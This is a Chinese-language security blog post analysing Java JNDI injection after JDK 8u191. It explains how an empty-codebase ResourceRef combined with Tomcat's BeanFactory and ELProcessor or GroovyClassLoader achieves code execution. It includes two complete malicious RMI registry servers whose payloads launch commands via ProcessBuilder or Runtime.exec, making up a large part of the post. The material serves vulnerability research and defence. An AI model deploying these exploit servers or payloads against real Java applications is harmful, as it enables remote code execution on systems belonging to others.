在java中jndi注入是一个老生常谈的问题
在java中jndi注入是一个老生常谈的问题,而jndi注入用一行代码表示如下
1new InitialContext().lookup(request.getParameter("q"));
当lookup()函数的值可控时,可以自己搭建恶意的rmi/ldap服务,客户端加载我们恶意的服务端类对象codebase,并创建实例,使得static代码块中的代码被执行。
oracle在jdk8u121使用trustURLCodebase限制了rmi对于codebase的远程加载,但是可以使用ldap绕过,但是8u191之后ldap同样不能使用。由此本文展开对于8u191之后的jndi注入的利用。
在com.sun.jndi.rmi.registry.RegistryContext#lookup(javax.naming.Name)
中
进行decodeObject(),跟进
断点的地方就是trustURLCodebase所在的限制。分析if条件得到如果Reference对象var8不为空并且var8的classFactoryLocation字段不为空,那么就抛出异常。
绕过也是出在这里
如上文所说,如果我们构造一个classFactoryLocation字段为空的Reference对象,那么这个if就过去了。即
1ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
通过ResourceRef的构造方法,赋予最后一个字段为空即可。接下来继续走到NamingManager.getObjectInstance(var3, var2, this, this.environment);
在getObjectFactoryFromReference()有具体的加载规则
首先先尝试从本地classpath中加载类,并且进行了一个ObjectFactoriesFilter.canInstantiateObjectsFactory(clas)
的过滤。如果找不到类的话从codebase加载,也就是160行,需要clas为空(本地没找到)、classFactoryLocation不为空,然后173行创建实例。
但是classFactoryLocation不为空的条件和上文的绕过方式冲突了,所以不能用helper.loadClass(factoryName, codebase)
来加载类执行代码。
所以重新回到javax.naming.spi.NamingManager#getObjectInstance方法中
329行绕不过,但是可以加载本地的classpath的ObjectFactory工厂类对象,然后调用其getObjectInstance方法来创建对象。所以我们需要寻找哪个工厂类中的getObjectInstance方法可以利用。
ObjectFactory是一个接口类,getObjectInstance是该类的一个接口
1 public Object getObjectInstance(Object obj, Name name, Context nameCtx,
2 Hashtable<?,?> environment)
3 throws Exception;
我们需要找一个类,这个类首先要实现ObjectFactory接口,并且其getObjectInstance方法实现中有可以被用来构造exp的逻辑。
由此引入org.apache.naming.factory.BeanFactory类,在org.apache.naming.factory.BeanFactory#getObjectInstance中
首先
加载ELProcessor类,然后
取forceString的值,以等号逗号截取拿到键x和对应的method即ELProcessor的eval,并且在64行填充了一个string类型的参数作为method的反射调用,在80行通过method名和一个string的参数拿到eval函数
最后反射调用
整个rmi的服务端代码如下
1package com.jndi;
2
3import com.sun.jndi.rmi.registry.ReferenceWrapper;
4import org.apache.naming.ResourceRef;
5
6import javax.naming.StringRefAddr;
7import java.rmi.registry.LocateRegistry;
8import java.rmi.registry.Registry;
9
10public class Server {
11
12
13 public static void main(String[] args) throws Exception {
14 System.out.println("Creating evil RMI registry on port 1097");
15 Registry registry = LocateRegistry.createRegistry(1097);
16
17 //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
18 ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
19 //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
20 ref.add(new StringRefAddr("forceString", "x=eval"));
21 //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
22 ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));
23
24 ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
25 registry.bind("evilEL", referenceWrapper);
26 }
27
28}
除了el表达式之外还有groovy也可以,原理一样,代码如下。
1public static void main(String[] args) throws Exception {
2 System.out.println("Creating evil RMI registry on port 1097");
3 Registry registry = LocateRegistry.createRegistry(1097);
4 ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
5 ref.add(new StringRefAddr("forceString", "x=parseClass"));
6 String script = "@groovy.transform.ASTTest(value={\n" +
7 " assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
8 "})\n" +
9 "def x\n";
10 ref.add(new StringRefAddr("x",script));
11
12 ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
13 registry.bind("evilGroovy", referenceWrapper);
14}
org.apache.naming.factory.BeanFactory
需要tomcat8+或者SpringBoot 1.2.x+,因为javax.el.ELProcessor类。
groovy同样需要groovy和Tomcat依赖。
文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。